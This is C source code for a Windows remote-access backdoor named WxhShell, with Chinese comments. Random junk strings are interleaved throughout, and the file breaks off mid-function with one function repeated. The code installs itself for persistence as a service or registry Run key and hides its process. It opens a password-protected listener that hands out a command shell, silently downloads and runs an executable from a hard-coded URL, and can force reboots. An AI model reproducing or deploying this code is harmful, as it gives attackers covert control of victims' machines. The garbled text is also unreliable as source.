]2] v-j3bB HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OW;tT=ql if(NULL == hInst ) return 0; $^/0<i$ <i\A_qqc/ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C@\{ehG g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9=l.T/?sf NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JAc_kl{4O R[tC^]ai if (!NtQueryInformationProcess) return 0; l:|D,q 1%[_`J;>Z hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X@N$Z{ if(!hProcess) return 0; U\@A_
B I&yVx8aH} if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Wzq>JNny c~}l8M% CloseHandle(hProcess); Tb;d.^ upn~5>uCP hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >pyj]y^3 if(hProcess==NULL) return 0; Njc%_&r koG{
|elgB HMODULE hMod; ]$-cMX char procName[255]; 8TV;Rtl unsigned long cbNeeded; ed 59B)?l Q[n\R@ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3Mjj'5KH! )}v3q6?_ CloseHandle(hProcess); R9vT[{!i $"JpFT if(strstr(procName,"services")) return 1; // 以服务启动 NR%Y+8^M }CL"S_>1 return 0; // 注册表启动 &jA\hg#9 } *hhmTc# /hW d/H] // 主模块 !\ND( int StartWxhshell(LPSTR lpCmdLine) V)M1YZV{ { ]:]H:U]p SOCKET wsl; +]xFoH
BOOL val=TRUE; %hS|68pN6 int port=0; e'*HS7g struct sockaddr_in door; Y
qdWctUY jjs&`Fy, if(wscfg.ws_autoins) Install(); G`h+l< ~!iQ6N?PY port=atoi(lpCmdLine); B/f0P(7 }alj[) if(port<=0) port=wscfg.ws_port; <~emx'F| }3 m0AQ;K WSADATA data; [onqNp if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BbOu/i| \kIMDg3} if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; @`"AHt setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %u\26[/ door.sin_family = AF_INET; _ o6G6e, door.sin_addr.s_addr = inet_addr("127.0.0.1"); &-l8n^ door.sin_port = htons(port); NLd``=& }-p[V$:S if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gT+Bhr closesocket(wsl); GOy%^:Xd return 1; 1MsWnSvzf } '!h/B;*( 4Cb9%Q0 if(listen(wsl,2) == INVALID_SOCKET) { u^W2UE\ closesocket(wsl); _, AzJ^ return 1; E|EgB33S } NW9n Wxhshell(wsl); ?8@>6IXn WSACleanup(); u0)7i.!M p0p4Xh1e return 0; 'XOX@UH d 8iQ[9 } mABe'"8 _W!p8cB // 以NT服务方式启动 b4 #R! VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f&@BKx { X&m'.PA DWORD status = 0; U]~^Z R DWORD specificError = 0xfffffff; @DAF 6ygs E:E4ulak serviceStatus.dwServiceType = SERVICE_WIN32; 0[A9b,MMVO serviceStatus.dwCurrentState = SERVICE_START_PENDING; (P|~>k serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5r{;CKKz serviceStatus.dwWin32ExitCode = 0; H4-qB Z' serviceStatus.dwServiceSpecificExitCode = 0; ,{eUP0] serviceStatus.dwCheckPoint = 0; h&@R| N serviceStatus.dwWaitHint = 0; |aToUi.Q% x<i}_@Sn_+ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {U!St@ if (hServiceStatusHandle==0) return; Z{NC9 VObrlOkp status = GetLastError(); j5$BK[p. if (status!=NO_ERROR) bF}V4"d,B3 { `<" m%> serviceStatus.dwCurrentState = SERVICE_STOPPED; 9Mm!%Hu serviceStatus.dwCheckPoint = 0; yR~-k?7b serviceStatus.dwWaitHint = 0; i7[uLdQ serviceStatus.dwWin32ExitCode = status; `BFIC7a serviceStatus.dwServiceSpecificExitCode = specificError; ~:Uwg+]j SetServiceStatus(hServiceStatusHandle, &serviceStatus); kdx
y\
jA return; 2
+5e0/_V } ZUXr!v/R:1 #%3rTU serviceStatus.dwCurrentState = SERVICE_RUNNING; W1aa:hEf serviceStatus.dwCheckPoint = 0; "O>n@Q| serviceStatus.dwWaitHint = 0; 1r)kR@!LNG if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YA(@5CZ } +A_J1iJ< H(^bC5' // 处理NT服务事件,比如:启动、停止 $3+PbYY VOID WINAPI NTServiceHandler(DWORD fdwControl) n";02?@F { ,"}Rg1\4t switch(fdwControl) *~$~yM/~3U { { >{B`e`$ case SERVICE_CONTROL_STOP: )
iQ
serviceStatus.dwWin32ExitCode = 0; p\vMc\ serviceStatus.dwCurrentState = SERVICE_STOPPED; gieJ}Bv serviceStatus.dwCheckPoint = 0; ]1-z!B 4K serviceStatus.dwWaitHint = 0; =TvzS%U { }1 vT) SetServiceStatus(hServiceStatusHandle, &serviceStatus); _1Z=q.sC } lt'I,Xt return; Eu<1Bse; case SERVICE_CONTROL_PAUSE: Mq%,lJA\ serviceStatus.dwCurrentState = SERVICE_PAUSED; 7YWNd^FI
V break; HHk)ZfWRo case SERVICE_CONTROL_CONTINUE:
Y]aW)u serviceStatus.dwCurrentState = SERVICE_RUNNING; 6X
g]/FD break; }*U[>Z-eO case SERVICE_CONTROL_INTERROGATE: 2Nc>6 break; -5G)?J/* }; 96Wp!]* SetServiceStatus(hServiceStatusHandle, &serviceStatus); uUR~&8ERX } M<?Q4a'Q 2h30\/xkU // 标准应用程序主函数 ?`?T7w|3
y int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JMBK{J K> { 5wt TP ;P or ;f&![w // 获取操作系统版本 ~rbIMF4T`] OsIsNt=GetOsVer(); R614#yn-+ GetModuleFileName(NULL,ExeFile,MAX_PATH); >"X\>M`" s'P( ,!f // 从命令行安装 H/F+X?t$0 if(strpbrk(lpCmdLine,"iI")) Install(); q]&.#&h ]ekk }0 // 下载执行文件 1MkI0OZE
if(wscfg.ws_downexe) { XhU@W}} if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T".]m7! WinExec(wscfg.ws_filenam,SW_HIDE); Mc sTe|X } -7>)i ("7M
b{ if(!OsIsNt) { }71LLzG`/ // 如果时win9x,隐藏进程并且设置为注册表启动 /Poet%XvRx HideProc(); (3vHY`9 StartWxhshell(lpCmdLine); I XA>`D } (n(
fI f else z;u>
Yz+3 if(StartFromService()) 0CvsvUN@ // 以服务方式启动 z T%U!jqI StartServiceCtrlDispatcher(DispatchTable); C2e.2)y else F-Z%6O,2 // 普通方式启动 ?^HfNp9 StartWxhshell(lpCmdLine); OIb _K2?YY(#> return 0; Aez2*g3 } :q3+AtF 4NVV5_K a dmrps+L 4NEq$t$Jn =========================================== Z*{]
,
ye6H*K YL^=t^!4 -!qu"A: w6|9|f/ XP[uF ;w " K5Wg"^AHY/ I lR\
# #include <stdio.h> ?gGt2O1J #include <string.h> yQS+P8x&|] #include <windows.h> <M?: #include <winsock2.h> |Q~cX!; #include <winsvc.h> 6bc337b #include <urlmon.h> 1a0kfM$ UsVMoX^ #pragma comment (lib, "Ws2_32.lib") #eP
LOR&q #pragma comment (lib, "urlmon.lib") 2B~wHv Kz8:UG( #define MAX_USER 100 // 最大客户端连接数 "kMzmo=Pv5 #define BUF_SOCK 200 // sock buffer -php6$| #define KEY_BUFF 255 // 输入 buffer Ths_CKwgWY / RZR} #define REBOOT 0 // 重启 %9C@ Xl #define SHUTDOWN 1 // 关机 B=L&bx j'%4{n #define DEF_PORT 5000 // 监听端口 iItcN;;7 q*jNH\| #define REG_LEN 16 // 注册表键长度 W~T}@T:EN #define SVC_LEN 80 // NT服务名长度 #PvB/3 Q3W#`6jpF // 从dll定义API aAvsb$ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4wzlJ19E( typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Qq-"Cg@-/ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); SD\=
m/W typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [t\B6XxT }n,Zl>T9 // wxhshell配置信息 Myat{OF struct WSCFG { dth&?/MERL int ws_port; // 监听端口 5@Bu99` char ws_passstr[REG_LEN]; // 口令 1&=0Wg0ig int ws_autoins; // 安装标记, 1=yes 0=no ;.sl*q1A char ws_regname[REG_LEN]; // 注册表键名 ^he=)rBb? char ws_svcname[REG_LEN]; // 服务名 }!#gu3 char ws_svcdisp[SVC_LEN]; // 服务显示名 jo+w> char ws_svcdesc[SVC_LEN]; // 服务描述信息 | aQ"3d char ws_passmsg[SVC_LEN]; // 密码输入提示信息 EUYCcL'G int ws_downexe; // 下载执行标记, 1=yes 0=no 1xJ
TWWj- char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GnXNCeE` char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ivgpS5 M`Y ajl
2I/D }; wu<])&F Bc-yxjsw // default Wxhshell configuration SZ![%)83 struct WSCFG wscfg={DEF_PORT, S/vf'gj "xuhuanlingzhe", rtJl _0` 1, " }gVAAvc7 "Wxhshell", q}uHFp/J "Wxhshell", W_O)~u8 "WxhShell Service", a\uie$"cr] "Wrsky Windows CmdShell Service", /T^ JS "Please Input Your Password: ", 5M]z5}n/ 1, ek aFN\ "http://www.wrsky.com/wxhshell.exe", cR-~)UyrO "Wxhshell.exe" nq}Q }; `7aDEzmJ !;@_VWR // 消息定义模块 38V3o`f char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7DW]JK l char *msg_ws_prompt="\n\r? for help\n\r#>"; lor8@Qz char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3LR p2(A char *msg_ws_ext="\n\rExit."; ;Lw{XqT char *msg_ws_end="\n\rQuit."; M_0zC1 char *msg_ws_boot="\n\rReboot..."; 1xNVdI char *msg_ws_poff="\n\rShutdown..."; 7fp(R&)1 char *msg_ws_down="\n\rSave to "; ,[p
T4G bok.j char *msg_ws_err="\n\rErr!"; <BWkUZz\P| char *msg_ws_ok="\n\rOK!"; pZZgIw}aS j;yf8Nf char ExeFile[MAX_PATH]; &MR/6"/s int nUser = 0; z9
u$~ HANDLE handles[MAX_USER]; D;GD<zC] int OsIsNt; P=L$;xgp %ugHhS! SERVICE_STATUS serviceStatus; MJ<Jb ,D1 SERVICE_STATUS_HANDLE hServiceStatusHandle; {cK^,?x }y%`)lz~ ; // 函数声明 o{v&.z int Install(void);
+1C3`0( int Uninstall(void); wyx(FinIH int DownloadFile(char *sURL, SOCKET wsh); "Y`3DxXz int Boot(int flag); T[k4lM void HideProc(void); C;AA/4Ib int GetOsVer(void); _s,ao'/ int Wxhshell(SOCKET wsl); wo2@hav void TalkWithClient(void *cs); `i,_aFB| int CmdShell(SOCKET sock); zHWSE7! int StartFromService(void); ?B@;QjhjiJ int StartWxhshell(LPSTR lpCmdLine); mN`YuR~ P47V:E% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @ufo$?D VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9DQ)cy TjWE_Bq]g // 数据结构和表定义 DVZdClAL SERVICE_TABLE_ENTRY DispatchTable[] = >!e<}84b { c97{Pu {wscfg.ws_svcname, NTServiceMain}, 148V2H) {NULL, NULL} ?[TfpAtQ` }; dCYCHHHF Zt
-1h{7 // 自我安装 dBsX*}C int Install(void) JG`Q;K { yZ]:y-1 char svExeFile[MAX_PATH]; I-D^>\k+ HKEY key; :6 J +%(f strcpy(svExeFile,ExeFile); i>L+gLW Uk*IpP` // 如果是win9x系统,修改注册表设为自启动 p Y)5bSA if(!OsIsNt) { lv0nEj8F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Mk<Vydds RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lLq<xf RegCloseKey(key); .%BT,$1K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #T K~eHi RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BC>=B@H0 RegCloseKey(key); ~na!@<zB{ return 0; {yAL+} } |LG4=j.l } k;PAh>8 } KAA-G2%M else { n>3U_yt6b <F7kh[L_x // 如果是NT以上系统,安装为系统服务 <`X"}I3ba SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v!3A9!. if (schSCManager!=0) "eWk#/ { =.<@`1 SC_HANDLE schService = CreateService i!2TH~zl ( oeSN9O schSCManager, qL6c`(0 wscfg.ws_svcname, 'mCe=Y wscfg.ws_svcdisp, 2=0DCF;Bv SERVICE_ALL_ACCESS, ^VW
PdH/Fe SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UrlM%Jnq1 SERVICE_AUTO_START, TlL^7f} SERVICE_ERROR_NORMAL, 'AGto'Yy; svExeFile, 1sE?YJP- NULL, 8*SDiZ NULL, qs\2Z@; NULL, 9Gy NULL, _cTh#t ^ NULL :Eh\NOc_O ); DBLk!~IF if (schService!=0) *,C(\!b
!? { _$NIp `d CloseServiceHandle(schService); q>f<u& CloseServiceHandle(schSCManager); 6%`&+Lq strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'C$XS>S strcat(svExeFile,wscfg.ws_svcname); #1c]PX if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
vr#+0:| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .M,RFC RegCloseKey(key); ~"pKe~h return 0; fy@avo9 } Dih6mTP{ } &*G<a3Q CloseServiceHandle(schSCManager); j.~!dh$mg } ]$ afC!Z } G CRz<)1 lPH%Do>K return 1; 2Y}?P+:%> } lN,/3\B H|ozDA // 自我卸载 =4uSFK_L int Uninstall(void) kp?w2+rz { 1XG!$4DW HKEY key; uZa9zs=}c h1 WT if(!OsIsNt) { sAo&
uZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NW~z&8L RegDeleteValue(key,wscfg.ws_regname); c,so`I3rI RegCloseKey(key); u$%t)2+$4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~pa!w?/bQ RegDeleteValue(key,wscfg.ws_regname); IJTtqo RegCloseKey(key); kK8itO return 0; d\e7,"L*Q } ]&Z))H } d@w~[b } iu**`WjI\ else { qQ\Y/}F `&0Wv0D0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]v[|B if (schSCManager!=0) *"9><lJ-! { XxHx:mi SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w6`9fX6{h if (schService!=0) 5tQ1fJze { tg^sCxz9] if(DeleteService(schService)!=0) { RMO,ZVq CloseServiceHandle(schService); gOgps: CloseServiceHandle(schSCManager); *5tO0_L return 0; \txbhWN } %h1N3\y9i( CloseServiceHandle(schService); yx V:!gl }
IUR<.Y` CloseServiceHandle(schSCManager); 2|\A7. } ld$i+6| } Y_`- 9'& <Q|d&vDVfV return 1; aA7=q= } R.7 :3h f%5zBYCgC // 从指定url下载文件 XC{eX&,2x int DownloadFile(char *sURL, SOCKET wsh) E{6~oZ#L { (}. @b|s HRESULT hr; MO;X>D = char seps[]= "/"; oJ#,XMKga char *token; :Xc@3gF char *file; O1')nYF7 char myURL[MAX_PATH]; tx?dIy; char myFILE[MAX_PATH]; l
& Dxg t1E[uu ,V8 strcpy(myURL,sURL); 6c0>gUQx- token=strtok(myURL,seps); /0\
mx4u while(token!=NULL) G0E121`h { #plY\0E@ file=token; ~>9_(L token=strtok(NULL,seps); q2HYiH^L } 4k./(f2+ RN=` -*E1 GetCurrentDirectory(MAX_PATH,myFILE); R^{)D3 strcat(myFILE, "\\"); gGfoO[B strcat(myFILE, file); 8Sz})UZ send(wsh,myFILE,strlen(myFILE),0); Spt?>sm send(wsh,"...",3,0); Y8flrM2CwG hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J>d.dq>r if(hr==S_OK) O-)-YVU return 0; 8p[)MiC5W^ else Vh>Z,()>>@ return 1; p~LrPWHSTP n~VD uKn9 } {Ay"bjZh P2Vg 4 // 系统电源模块 s+tGFjq int Boot(int flag) 0'nikLaKy { tHLrhH<w HANDLE hToken; &/,|+U[ TOKEN_PRIVILEGES tkp; \9-"M;R.d G:g69=x y if(OsIsNt) { dz Zb OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `~eUee3b.~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QeF3qXI tkp.PrivilegeCount = 1; FVhU^ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .F+@B\A< AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FLEo*9u>b if(flag==REBOOT) { e{Z &d
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NHlk|Y#6b return 0; LdJYE;k Ju } 86nN"!{l: else { E!S 78z: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $AHQmyg< return 0; \TU3rk&X } 7g_]mG[6 } ?6'rBH/w else { Y3Q9=u*5 if(flag==REBOOT) { 4`,j =3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V^;jJ'] return 0; Bj7gQ%>H4 } 2;w*oop,O else { &r:7g%{n
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 43=,yz2Ef return 0; orb_"Qw } 23gPbtq/ } <tioJG{OT {s;U~!3aY return 1; (y^vqMz } !W?gR.0$= K#. // win9x进程隐藏模块 T1H"\+ void HideProc(void) m)oJFF { 13Lr}M& =9T$Gr HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &4_qF^9J if ( hKernel != NULL ) t45Z@hmcW { c%qv9 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %Rsp;1Z ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G+F:99A FreeLibrary(hKernel); !kC*g } p'om- Fgh]KQ/5 return; ]~3U
} LCQE_}Mh ZWS`\M // 获取操作系统版本 +U@<\kIF int GetOsVer(void) @$z<i `4 { 9HX =T% OSVERSIONINFO winfo; @/1w4'M winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nqf,4MR GetVersionEx(&winfo); S<J}[I7V if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 12+>5BA return 1; Y3=_ec3w else C$5[X7' return 0; m?&1yU9 } :GJ &_YHf )Qvk*9OS // 客户端句柄模块 |ely|U. Tf int Wxhshell(SOCKET wsl) =xS+5( { 9 '2_ SOCKET wsh; 0c#/hFn struct sockaddr_in client; ;{[.Zu DWORD myID; ~_!F01s +j4"!:N}B while(nUser<MAX_USER) "V}[':fen { 2J;kSh1,L int nSize=sizeof(client); O
&-wxJ]S wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `F>O; >i'' if(wsh==INVALID_SOCKET) return 1; >orK';r< @i*|s~15 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,#kIr if(handles[nUser]==0) &kpwo ) closesocket(wsh); D~\$~&_]= else Qg<(u?7N nUser++; ;I!MLI } IOV(seEY WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h?azFA~ 0/oyf]HR return 0; ze]h..,]K } :]1TGfS c7FRI0X // 关闭 socket "l*`>5Nn9 void CloseIt(SOCKET wsh) I2nhqJy^ { Ck|8qUz- closesocket(wsh); \R;`zuv nUser--; 6}oXP_0U ExitThread(0); E2{FK)qT } >#y^;/bb bAm(8nT7w // 客户端请求句柄 }7.PH'.8 void TalkWithClient(void *cs) ;y2/-tL? { {7/0< NG Zc`BiLzrIG SOCKET wsh=(SOCKET)cs; |UxG $M( char pwd[SVC_LEN]; `WH"%V:"Q char cmd[KEY_BUFF]; <z!CDg4 char chr[1]; \<)9?M : int i,j; <N9[?g) *^wm1|5 while (nUser < MAX_USER) { =HlQ36;* jE/AA!DC# if(wscfg.ws_passstr) { e;[F\ov% if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W0]gLw9* //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ixT:)|'i //ZeroMemory(pwd,KEY_BUFF); mA=i)Ga i=0; <h'5cO while(i<SVC_LEN) { 7!JQB Yn G_m] // 设置超时 t>$kWd{9e; fd_set FdRead; [a
wjio struct timeval TimeOut; %eO0wa$a FD_ZERO(&FdRead); ]3l 9:| FD_SET(wsh,&FdRead); k>g_Z`%< TimeOut.tv_sec=8; j_.5r&w TimeOut.tv_usec=0; t8+X%-r int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hs$GN] if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0PrLuejz t?'!$6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Oz%>/zw[h pwd=chr[0]; X'qU*Eo if(chr[0]==0xd || chr[0]==0xa) { LpqO{#ZG pwd=0;
ftF@Wq1f break; E}nH1 } ^*Yh@4\{JH i++; 7w6cwHrL@ } Evjj"h&0J Ls] g // 如果是非法用户,关闭 socket u2?|Ue@[ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0p!>JQ]m } n4#;k=mA &H`jL4S send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *5^Q7`` send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T
r1?620 YS *9t
Q{ while(1) { -3=#u_ !74S ZeroMemory(cmd,KEY_BUFF); W|g4z7Pb hj.a&% // 自动支持客户端 telnet标准 bKN@j'M j=0; <yH4HY while(j<KEY_BUFF) { +yD`3`
E if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <,e+
kL{ cmd[j]=chr[0]; "\o+v|; if(chr[0]==0xa || chr[0]==0xd) { -RvQB cmd[j]=0; In<n&ib break; m~-K[+ya`D } n+A?"`6*# j++; &RnTzqv } qtQ6cqLd u*ObwcI/Bn // 下载文件 ''\Ov if(strstr(cmd,"http://")) { Dw<bn<e- send(wsh,msg_ws_down,strlen(msg_ws_down),0); SX#
e:_ if(DownloadFile(cmd,wsh)) `u
teg= send(wsh,msg_ws_err,strlen(msg_ws_err),0); R&BTA else L'0B$6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OZ~5*v } 5a|w+HO, else { P;ci9vk vPTM switch(cmd[0]) { |w<H!lGe!$ 2;DuHO1 // 帮助 ~^r29'3 case '?': { =06gj)8 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nwF2aRNV break; @c;|G$E@3 } y+c|vdW% // 安装 {_ i\f ]L case 'i': { 6'!4jh if(Install()) V`XNDNJ: send(wsh,msg_ws_err,strlen(msg_ws_err),0); K,:cJ else c*L0@Ak% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y6zbo break; rMLp-aR' } $JMXV // 卸载 %&w3;d;c case 'r': { !y@NAa0 if(Uninstall()) sP;nGQ.eN send(wsh,msg_ws_err,strlen(msg_ws_err),0); %}Ss,XJ else x:7b/j- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?&63#B,iZ break; /tf5Bv'< } CzRc%%BA // 显示 wxhshell 所在路径 hog=ut case 'p': { Of[XKFn_ char svExeFile[MAX_PATH]; 3TY5 ;6 strcpy(svExeFile,"\n\r"); l0PZ`m+;j strcat(svExeFile,ExeFile); |yQZt/*SOZ send(wsh,svExeFile,strlen(svExeFile),0); C1m]*}U break; w~"KA6^ } Kgi<UkFP // 重启 ->y J5smtY case 'b': { }NzpiY9 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,^w?6?,&l} if(Boot(REBOOT)) di6QVRj1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); &:dH, else { j}JrE,| closesocket(wsh); *KV0%)}sbL ExitThread(0); s/q7.y7n{ } p~BRh break; ,!Z*5 } DRp~jW(\y // 关机 1DE<rKI case 'd': { 2.l Z:VLN send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^Eb.:}!D6 if(Boot(SHUTDOWN)) $o0iLFIX/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); d4>Z8FF|1B else { Ay5i+)MD closesocket(wsh); :y%/u%L ExitThread(0); *n 6s.$p)% } &eCa0s?mI break; )4<__|52"1 } $JJrSwR<h // 获取shell vd
0ljA case 's': { HkUWehVm CmdShell(wsh); pgI^4h closesocket(wsh); Lvq>v0| ExitThread(0); GT }F9F~ break; jV>raCK_ } B8V>NvE~o // 退出 4E]l{"k< case 'x': { aWWU4xe send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3=FZ9>by CloseIt(wsh); snf~}:& break; toya fHf } Mc09ES // 离开 5Iy;oZ case 'q': { K]s[5 send(wsh,msg_ws_end,strlen(msg_ws_end),0); im9G,e closesocket(wsh); JEahGzO WSACleanup(); F+,~v- exit(1); }z _ break; "$ Y_UJT7 } jkiFLtB@V } bx{$Y_L+p } ![YX]+jqNp @eD):Y // 提示信息 tD(7^GuR if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VY;{/.Sa } hb zC#@q } 1zm ulj%& ]>LhkA@V return; -:2$ % } rz wF~-m + Oiz ,w7LRh // shell模块句柄 Ljxz.2LGr int CmdShell(SOCKET sock) s%C)t6`9 { B_nVP STARTUPINFO si; WN?O'E=2 ZeroMemory(&si,sizeof(si)); Rot@x r7Hc si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kP#B5K_U| si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h]+C.Eqnt# PROCESS_INFORMATION ProcessInfo; Ne8Cgp char cmdline[]="cmd"; M dZ&A}S CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3D!5T8 @ return 0; AsAT_yv# } 4wa`<H&S5 C([phT; // 自身启动模式 e+$p9k~ int StartFromService(void) +$C4\$t { 8jd;JPz@\ typedef struct P
`}zlml { 10<x.8fSP DWORD ExitStatus; -fwoTGlX DWORD PebBaseAddress; `x
l DWORD AffinityMask; <49K>S9O DWORD BasePriority; 3nT^?;- ULONG UniqueProcessId; ?t/~lv ULONG InheritedFromUniqueProcessId; r@v,T8 } PROCESS_BASIC_INFORMATION; K`iv c N" i]Fp..`v~ PROCNTQSIP NtQueryInformationProcess; Q1O}ly}JS ;>
_$` static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ORyE`h static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NO|KVZ~ iF-6Y0~8 HANDLE hProcess; u
[m PROCESS_BASIC_INFORMATION pbi; ,uo'c_f(e U=DmsnD, HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A<5ZF27 if(NULL == hInst ) return 0; J7= + IE;~?W" g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _hRcc"MS` g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f!oT65Vmi NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iYDEI e [`{Z}q& if (!NtQueryInformationProcess) return 0; ,TXTS*V? W3IpHV hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C ~<'rO}| if(!hProcess) return 0; w[9|cgCY Bg&i63XL$$ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /2UH=Q!x4E ;A|-n1e>Hc CloseHandle(hProcess); |B'9\OkP[= -BRc8 / hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bSfpbo4( if(hProcess==NULL) return 0; 6|aKL[%6 jGXO\:sO HMODULE hMod; ofPHmh` 